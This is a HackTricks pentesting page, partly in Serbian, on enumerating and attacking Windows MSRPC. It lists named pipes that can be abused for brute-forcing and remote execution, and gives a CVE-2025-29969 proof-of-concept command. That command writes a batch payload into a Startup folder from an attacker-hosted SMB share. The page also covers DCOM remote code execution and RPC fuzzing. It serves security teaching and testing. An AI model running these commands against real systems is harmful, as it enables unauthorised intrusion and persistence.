135, 593 - Pentesting MSRPC
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
The Microsoft Remote Procedure Call (MSRPC) protokol, klijent-server model koji omogućava programu da zatraži uslugu od programa koji se nalazi na drugom računaru bez poznavanja detalja mreže, prvobitno je izveden iz softvera otvorenog koda, a kasnije ga je Microsoft razvio i zaštitio autorskim pravima.
The RPC endpoint mapper je dostupan na TCP i UDP portu 135, SMB na TCP portovima 139 i 445 (with a null or authenticated session), i kao web servis na TCP portu 593.
135/tcp open msrpc Microsoft Windows RPC
Kako MSRPC funkcioniše?
Pokrenut od strane klijentske aplikacije, MSRPC proces uključuje pozivanje lokalne stub procedure koja zatim komunicira sa klijentskom runtime bibliotekom kako bi pripremila i poslаla zahtev serveru. Ovo uključuje pretvaranje parametara u standardni Network Data Representation format. Izbor transportnog protokola određuje runtime biblioteka ako je server udaljen, obezbeđujući da se RPC isporuči preko mrežnog steka.

Identifikacija izloženih RPC servisa
Izloženost RPC servisa preko TCP, UDP, HTTP i SMB može se utvrditi upitom RPC locator servisa i pojedinačnih krajnjih tačaka. Alati kao što je rpcdump olakšavaju identifikaciju jedinstvenih RPC servisa, označenih vrednostima IFID, otkrivajući detalje servisa i komunikacione veze:
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
Pristup RPC locator servisu omogućen je putem određenih protokola: ncacn_ip_tcp i ncadg_ip_udp za pristup preko port 135, ncacn_np za SMB konekcije i ncacn_http za web-based RPC komunikaciju. Sledeće komande ilustruju upotrebu Metasploit modula za audit i interakciju sa MSRPC servisima, sa glavnim fokusom na port 135:
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
All options except tcp_dcerpc_auditor are specifically designed for targeting MSRPC on port 135.
Značajni RPC interfejsi
- IFID: 12345778-1234-abcd-ef00-0123456789ab
- Named Pipe:
\pipe\lsarpc - Opis: LSA interface, koristi se za nabrajanje korisnika.
- IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
- Named Pipe:
\pipe\lsarpc - Opis: LSA Directory Services (DS) interface, koristi se za nabrajanje domena i odnosa poverenja.
- IFID: 12345778-1234-abcd-ef00-0123456789ac
- Named Pipe:
\pipe\samr - Opis: LSA SAMR interface, koristi se za pristup javnim elementima SAM baze podataka (npr. korisnička imena) i brute-force user passwords bez obzira na politiku zaključavanja naloga.
- IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
- Named Pipe:
\pipe\atsvc - Opis: Task scheduler, koristi se za remote execution of commands.
- IFID: 338cd001-2244-31f1-aaaa-900038001003
- Named Pipe:
\pipe\winreg - Opis: Remote registry service, koristi se za pristup i izmenu sistemskog registry-a.
- IFID: 367abb81-9844-35f1-ad32-98f038001003
- Named Pipe:
\pipe\svcctl - Opis: Service control manager and server services, koristi se za remote start/stop servisa i izvršavanje komandi.
- IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
- Named Pipe:
\pipe\srvsvc - Opis: Service control manager and server services, koristi se za remote start/stop servisa i izvršavanje komandi.
- IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
- Named Pipe:
\pipe\epmapper - Opis: DCOM interface, koristi se za brute-force password grinding i prikupljanje informacija putem WM.
MS-EVEN (EventLog Remoting) primitives
The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. SafeBreach’s CVE-2025-29969 (EventLog-in) analysis shows a TOCTOU flaw in MS-EVEN that lets an authenticated low-privileged user trigger a remote arbitrary file write on the target: attacker-chosen content written to an attacker-chosen path without needing Administrator rights for the remote write.
Operational pattern (PoC workflow): stage a valid EVTX plus your payload on an SMB share, then race the MS-EVEN logic so the target fetches the SMB-hosted file and writes it to the chosen path.
impacket-smbserver -smb2support Share /tmp/safebreach
Objavljeni PoC koristi hard-coded SMB share name (Share), pa ako ga promenite morate i ažurirati skriptu.
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"
Uobičajeni lanac je da se ubaci u per-user Startup folder radi persistence i izvršavanja pri sledećem logonu (izvršavanje se dešava u kontekstu tog korisnika).
MS-EVEN CreateFile-style primitive za recon
MS-EVEN takođe izlaže file open/create primitiv (opisano u PoC kao CreateFile) koji može da koristi bilo koji autentifikovani korisnik da ispita da li udaljeni fajl ili direktorijum postoji. Ovo je korisno za otkrivanje softvera proverom uobičajenih putanja za instalaciju (npr. C:\Program Files\<Vendor>):
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Result:
FILE_EXISTS_AND_IS_DIRECTORY
Identifikacija IP adresa
Using https://github.com/mubix/IOXIDResolver, comes from Airbus research is possible to abuse the ServerAlive2 method inside the IOXIDResolver interface.
Ova metoda je korišćena za dobijanje informacija o interfejsu kao IPv6 adresu sa HTB box-a APT. See here for 0xdf APT writeup, it includes an alternative method using rpcmap.py from Impacket with stringbinding (see above).
Executing a RCE with valid credentials
Moguće je izvršiti udaljeno izvršavanje koda na mašini ako su dostupni kredencijali validnog korisnika koristeći dcomexec.py from impacket framework.
Ne zaboravite probati sa različitim dostupnim objektima
- ShellWindows
- ShellBrowserWindow
- MMC20
Port 593
The rpcdump.exe from rpctools can interact with this port.
Automated Fuzzing of MSRPC Interfaces
MS-RPC interfejsi izlažu veliku i često nedokumentovanu površinu napada. The open-source MS-RPC-Fuzzer PowerShell module builds on James Forshaw’s NtObjectManager to dynamically create RPC client stubs from the interface metadata that is already present in Windows binaries. Once a stub exists the module can bombard each procedure with mutated inputs and log the outcome, making reproducible, large-scale fuzzing of RPC endpoints possible without writing a single line of IDL.
1. Inventar interfejsa
# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1
# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output
# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output
Get-RpcServerData će izvući UUID, verziju, binding stringove (named-pipe / TCP / HTTP) i pune prototype procedura za svaki interfejs koji pronađe i sačuvati ih u rpcServerData.json.
2. Pokrenite fuzzer
'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100 -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999
Relevantne opcije:
-MinStrLen/-MaxStrLen– opseg veličina za generisane stringove-MinIntSize/-MaxIntSize– opseg vrednosti za mutirane integer-e (korisno za overflow testing)-Sorted– izvršava procedure u redosledu koji poštuje zavisnosti parametara tako da izlazi jednog poziva mogu poslužiti kao ulazi sledećeg (dramatično povećava broj dostupnih puteva)
Fuzzer implementira 2 strategije:
- Default fuzzer – nasumične primitivne vrednosti + podrazumevane instance za kompleksne tipove
- Sorted fuzzer – redosled koji vodi računa o zavisnostima (see
docs/Procedure dependency design.md)
Svaki poziv se atomski zapisuje u log.txt; nakon pada, poslednji red odmah pokazuje problematičnu proceduru. Rezultat svakog poziva je takođe kategorizovan u tri JSON datoteke:
allowed.json– poziv je uspeo i vratio podatkedenied.json– server je odgovorio sa Access Deniederror.json– bilo koja druga greška / pad
3. Vizualizujte pomoću Neo4j
'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j
Import-DataToNeo4j pretvara JSON artefakte u graf-strukturu gde:
- RPC serveri, interfejsi i procedure su čvorovi
- Interactions (
ALLOWED,DENIED,ERROR) su relacije
Cypher upiti se zatim mogu koristiti za brzo uočavanje opasnih procedura ili za reprodukciju tačnog lanca poziva koji je prethodio padu.
⚠️ Fuzzer je destruktivan: očekujte padove servisa pa čak i BSODs – uvek ga pokrećite u izolovanom VM snapshotu.
Automated Interface Enumeration & Dynamic Client Generation (NtObjectManager)
PowerShell guru James Forshaw otkrio je većinu unutrašnjih mehanizama Windows RPC-a u modulu otvorenog koda NtObjectManager. Pomoću njega možete svaku RPC server DLL / EXE pretvoriti u potpuno funkcionalan klijentski stub za sekunde – bez IDL, MIDL ili ručnog unmarshallinga.
# Install the module once
Install-Module NtObjectManager -Force
# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures
# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *
Tipični izlaz otkriva tipove parametara tačno onako kako se pojavljuju u MIDL (npr. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).
Kada znate interfejs, možete generisati C# klijenta spremnog za kompilaciju:
# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs
Unutar proizvedenog stuba pronaći ćete metode као što су:
public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}
PowerShell pomoćnik Get-RpcClient može da kreira interaktivni klijentski objekat tako da možete odmah pozvati proceduru:
$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType WinNT # NTLM auth
# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)
Autentikacija (Kerberos / NTLM) i nivoi enkripcije (PacketIntegrity, PacketPrivacy, …) mogu se proslediti direktno putem Connect-RpcClient cmdlet-a – idealno za bypassing Security Descriptors koji štite high-privilege named pipes.
Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)
Static znanje interfejsa je dobro, ali ono što zaista želite je coverage-guided fuzzing koja razume context handles i kompleksne lance parametara. Open-source projekat MS-RPC-Fuzzer automatizuje upravo taj tok rada:
- Enumerišite svaki interfejs/proceduru koji eksportuje ciljni binarni fajl (
Get-RpcServer). - Generišite dinamičke klijente za svaki interfejs (
Format-RpcClient). - Randomizujte ulazne parametre (wide strings length, integer ranges, enums) uz poštovanje originalnog NDR type.
- Pratite context handles vraćene jednim pozivom kako biste ih automatski prosledili sledećim procedurama.
- Pošaljite veliki broj poziva preko izabranog transporta (ALPC, TCP, HTTP ili named pipe).
- Logujte exit statuses / faults / timeouts i izvezite Neo4j import fajl za vizuelizaciju odnosa interface → procedure → parameter i crash klastera.
Example run (named–pipe target):
Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1 -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results
Jedan out-of-bounds write ili neočekivan exception biće odmah prikazan sa tačnim opnum + fuzzed payload који га је покренуо – савршен почетак за стабилан proof-of-concept exploit.
⚠️ Mnogi RPC servisi се извршавају у процесима који раде као NT AUTHORITY\SYSTEM. Bilo koji memory-safety issue овде обично се преводи у local privilege escalation или (када је изложено преко SMB/135) remote code execution.
Reference
- EventLogin-CVE-2025-29969 (SafeBreach-Labs)
- EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows
- Automating MS-RPC vulnerability research (2025, Incendium.rocks)
- MS-RPC-Fuzzer – context-aware RPC fuzzer
- NtObjectManager PowerShell module
- https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
- https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/
- https://0xffsec.com/handbook/services/msrpc/
- MS-RPC-Fuzzer (GitHub)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


